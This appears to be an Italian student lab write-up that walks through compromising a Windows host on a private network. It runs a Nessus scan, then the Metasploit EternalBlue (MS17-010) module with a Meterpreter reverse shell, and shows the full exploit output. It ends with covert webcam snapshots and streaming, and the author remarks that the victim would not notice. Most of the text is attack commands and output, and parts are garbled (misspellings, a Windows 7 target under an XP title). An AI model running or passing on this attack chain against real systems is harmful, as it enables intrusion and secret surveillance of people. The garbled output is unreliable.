## Hacking Windows XP

Come primo passaggio eseguo uno scan Nessus sulla macchina vittima all'indirizzo 192.168.1.150, quindi individuo la vulnerabilità che voglio sfruttare per fare breccia nel sistema.

97833 - MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)

## **Synopsis**

The remote Windows host is affected by multiple vulnerabilities.

## Description

The remote Windows host is affected by the following vulnerabilities:

- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)
- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An unauthenticated, remote attacker can exploit this, via a specially crafted packet, to disclose sensitive information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry / WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and EternalRocks is a worm that utilizes seven Equation Group vulnerabilities. Petya is a ransomware program that first utilizes CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads via ETERNALBLUE.

Il programma ci fa una descrizione del problema indicandoci nel dettaglio le tecnologie in uso vulnerabili, e facendo esempi su attacchi ed exploit noti che possono facilmente utilizzare questa falla per avere un accesso assoluto al sistema, mettendoci in guardia su famosi ransomware che utilizzano proprio questa anomalia per penetrare nel dispositivo.

```
metasploit v6.2.26-dev
2264 exploits - 1189 auxiliary - 404 post
951 payloads - 45 encoders - 11 nops
  -- --=[ 951 payto
-- --=[ 9 evasion
Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search ms 17-010
Matching Modules
                                                               Disclosure Date Rank
                                                                                                 Check
    0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14
1 exploit/windows/smb/ms17_010_psexec 2017-03-14
                                                                                                 Yes
                                                                                     average
                                                                                     normal
       auxiliary/admin/smb/ms17_010_command
                                                               2017-03-14
                                                                                     normal
                                                                                                 No
xecution
       auxiliary/scanner/smb/smb_ms17_010
                                                                                     normal
                                                                                                 No
       exploit/windows/smb/smb_doublepulsar_rce 2017-04-14
 Interact with a module by name or index. For example info 4, use 4 or use explo
msf6 > use 0
```

No payload configured, defaulting to windows/x64/meterpreter/reverse\_tcp

Proseguo attivando la console di metasploit da terminale, quindi cerco il numero identificativo della vulnerabilità indicato da Nessus, lo seleziono e mantengo il payload di default.

```
| msf6 exploit(||sindows/smb/ms17,018_eternalblue|) > set RHOSTS 192.168.1.150 |
| msf6 exploit(||sindows/smb/ms17,018_eternalblue|) > set LHOST 192.168.1.25 |
| msf6 exploit(||sindows/smb/ms17,018_eternalblue|) > run |
| Started reverse TCP handler on 192.168.1.25:4444 |
| 192.168.1.150:445 - Using auxiliary/scanner/smb/mb_ms17_010 as check |
| 192.168.1.150:445 - Wost is likely VUNLRABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack |
| 192.168.1.150:445 - Thost is likely VUNLRABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack |
| 192.168.1.150:445 - Connecting to target for exploitation. |
| 192.168.1.150:445 - Connecting to target for exploitation. |
| 192.168.1.150:445 - Connecting to target for exploitation. |
| 192.168.1.150:445 - Target Os Selected valid for 0S indicated by SMB reply |
| 192.168.1.150:445 - 0x00000000 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service Pack |
| 192.168.1.150:445 - 0x00000000 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service |
| 192.168.1.150:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service |
| 192.168.1.150:445 - Target arch selected valid for arch indicated by DCE/RPC reply |
| 192.168.1.150:445 - Target arch selected valid for arch indicated by DCE/RPC reply |
| 192.168.1.150:445 - Sending all but last fragment of exploit packet |
| 192.168.1.150:445 - Sending all but last fragment of exploit packet |
| 192.168.1.150:445 - Sending all but last fragment of exploit packet |
| 192.168.1.150:445 - Sending sMBv2 connection creating free hole adjacent to SMBv2 buffers |
| 192.168.1.150:445 - Sending in ISMBv2 buffers |
| 192.168.1.150:445 - Sending in SMBv2 connection creating free hole adjacent to SMBv2 buffer |
| 192.168.1.150:445 - Sending in SMBv2 buffers |
| 192.168.1.150:445 - Sending in SMBv2 connection creating free hole adjacent to SMBv2 buffer |
| 192.168.1.150:445 - Sending in SMBv2 buffers |
| 192.168.1.150:445 - Sending in SMBv2 buffers |
| 192.168.1.150:445 - Sending in SMBv2 buffers |
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```

Imposto gli ip e creo la sessione di meterpreter che mi permette di eseguire codice direttamente sulla macchina.

```
meterpreter > webcam_list
1: USB 2.0 Camera
meterpreter > webcam_snap
[*] Starting ...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/JhyRpNFi.jpeg
meterpreter > webcam_snap
[*] Starting ...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/SLrdURmf.jpeg
meterpreter > webcam_snap
[*] Starting ...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/EZsLpWja.jpeg
meterpreter > webcam_snap
[*] Starting ...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/PsXEfJVe.jpeg
meterpreter > webcam_stream
*] Starting...
[*] Preparing player ...
[*] Opening player at: /home/kali/ffTIUBwU.html
    Streaming ...
```

Con la sola sessione ho il permesso di eseguire i comandi personalizzati di meterpreter direttamente sulla macchina vittima, appunto dopo aver controllato la presenza di una webcam posso prenderne il possesso scattando foto e streammando quello che riprende senza problemi e senza che l'utente se ne accorga a meno che controlli i log del servizio.